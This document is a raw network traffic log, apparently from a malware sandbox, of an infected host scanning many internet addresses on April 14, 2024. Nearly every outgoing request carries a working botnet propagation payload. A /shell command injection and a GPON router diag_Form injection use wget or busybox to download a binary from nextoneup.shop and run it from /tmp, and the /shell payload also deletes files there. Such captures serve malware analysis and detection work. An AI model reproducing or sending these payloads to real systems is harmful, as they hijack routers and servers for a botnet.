Apr 14, 2024 04:00:33.877558947 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:34.289299965 CEST	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Sun, 14 Apr 2024 02:00:34 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1296	192.168.2.23	34578	160.124.63.244	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:33.907685995 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:34.234381914 CEST	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 14 Apr 2024 02:00:34 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1297	192.168.2.23	60420	23.32.107.86	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:34.157874107 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:36.486795902 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:36.931797981 CEST	532	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 310 Expires: Sun, 14 Apr 2024 02:00:36 GMT Date: Sun, 14 Apr 2024 02:00:36 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 63 37 64 65 33 38 37 64 26 23 34 36 3b 31 37 31 33 30 36 30 30 33 36 26 23 34 36 3b 35 31 37 63 38 35 33 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 63 37 64 65 33 38 37 64 26 23 34 36 3b 31 37 31 33 30 36 30 30 33 36 26 23 34 36 3b 35 31 37 63 38 35 33 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.c7de387d.1713060036.517c853<P>https://errors.edgesuite.net/9.c7de387d.1713060036.517c853</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1298	192.168.2.23	59206	102.134.8.105	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:34.194977999 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:34.677460909 CEST	30	IN	HTTP/1.1 404 Can't find file

Session ID	Source IP	Source Port	Destination IP	Destination Port
1299	192.168.2.23	47706	38.182.162.36	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:34.846873045 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:35.020529985 CEST	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 14 Apr 2024 02:00:34 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1300	192.168.2.23	55322	182.214.1.81	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:34.980932951 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:35.285963058 CEST	266	IN	HTTP/1.1 302 Found Server: Apache-Coyote/1.1 Cache-Control: private Expires: Thu, 01 Jan 1970 09:00:00 KST Location: https://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Content-Length: 0 Date: Sun, 14 Apr 2024 02:00:36 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port
1301	192.168.2.23	54682	134.180.249.204	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:34.981889009 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:35.310826063 CEST	145	IN	HTTP/1.1 404 Not Found Content-type: text/html; charset=iso-8859-1 Accept-Ranges: bytes Connection: Keep-Alive Transfer-Encoding: chunked
Apr 14, 2024 04:00:35.317471027 CEST	174	IN	Data Raw: 61 33 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 3e 3c 48 32 3e 34 30 Data Ascii: a3<HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY BGCOLOR="#cc9999"><H2>404 Not Found</H2><HR>The requested URL was not found on this server.</BODY></HTML>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1302	192.168.2.23	5463	96.27.66.230	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:35.531356096 CEST	32	IN	Data Raw: 28 52 65 66 2e 49 64 3a 20 3f 73 4b 66 59 52 73 43 34 4d 34 61 32 57 38 50 61 43 34 7a 46 3f 29 Data Ascii: (Ref.Id: ?sKfYRsC4M4a2W8PaC4zF?)

Session ID	Source IP	Source Port	Destination IP	Destination Port
1303	192.168.2.23	40312	52.35.94.147	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:35.817775011 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:36.013500929 CEST	439	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:00:35 GMT Server: Apache/2.4.46 () OpenSSL/1.0.2k-fips Content-Length: 196 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1304	192.168.2.23	52796	68.71.81.43	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:35.823162079 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:36.024310112 CEST	504	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Sun, 14 Apr 2024 02:00:35 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1305	192.168.2.23	35564	50.247.219.185	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:35.871190071 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:36.128066063 CEST	340	IN	HTTP/1.0 404 Not Found Server: SonicWALL Expires: -1 Cache-Control: no-cache Content-type: text/html;charset=UTF-8 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 46 69 6c 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 48 31 3e 46 69 6c 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e 0d 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 3a 20 2f 73 68 65 6c 6c 3f 63 64 20 2f 74 6d 70 3b 72 6d 20 2d 72 66 20 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 6a 61 77 73 3b 73 68 20 2f 74 6d 70 2f 6a 61 77 73 0d 0a 3c 50 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e Data Ascii: <HTML><HEAD><TITLE>File Not Found</TITLE></HEAD><BODY><H1>File Not Found</H1>The requested URL was not found on this server: /shell?cd /tmp;rm -rf *;wget http://nextoneup.shop/jaws;sh /tmp/jaws<P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1306	192.168.2.23	54692	1.246.219.202	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:35.925888062 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:36.230052948 CEST	623	IN	HTTP/1.1 302 Found Date: Sun, 14 Apr 2024 02:00:35 GMT Server: Apache/2.4.53 (Unix) OpenSSL/1.0.1e-fips Location: https://www.innoxamc.com/shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Content-Length: 276 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 69 6e 6e 6f 78 61 6d 63 2e 63 6f 6d 2f 73 68 65 6c 6c 3f 63 64 2b 2f 74 6d 70 3b 72 6d 2b 2d 72 66 2b 2a 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 6a 61 77 73 3b 73 68 2b 2f 74 6d 70 2f 6a 61 77 73 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://www.innoxamc.com/shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1307	192.168.2.23	57940	143.110.240.111	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:36.199361086 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:36.575035095 CEST	165	IN	HTTP/1.1 301 Moved Permanently content-length: 0 location: https://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws

Session ID	Source IP	Source Port	Destination IP	Destination Port
1308	192.168.2.23	47080	94.53.6.203	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:36.414252996 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1309	192.168.2.23	33678	212.38.218.38	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:36.414324045 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1310	192.168.2.23	33262	104.17.135.118	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:36.729561090 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1311	192.168.2.23	59238	132.148.241.97	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:36.738729954 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:36.911199093 CEST	1289	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:00:36 GMT Server: Apache Accept-Ranges: bytes Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html Data Raw: 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 35 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 0d 0a 33 0d 0a 34 30 34 0d 0a 31 0d 0a 20 0d 0a 39 0d 0a 4e 6f 74 20 46 6f 75 6e 64 0d 0a 31 66 63 61 0d 0a 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 43 43 43 43 43 43 Data Ascii: 111157<!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>34041 9Not Found1fca</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC
Apr 14, 2024 04:00:36.911222935 CEST	1289	IN	Data Raw: 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 63 6f 64 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 35 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 Data Ascii: ; } .status-code { font-size: 500%; } .status-reason { font-size: 250%; display: block; } .contact-info, .reason-text { color: #000000;
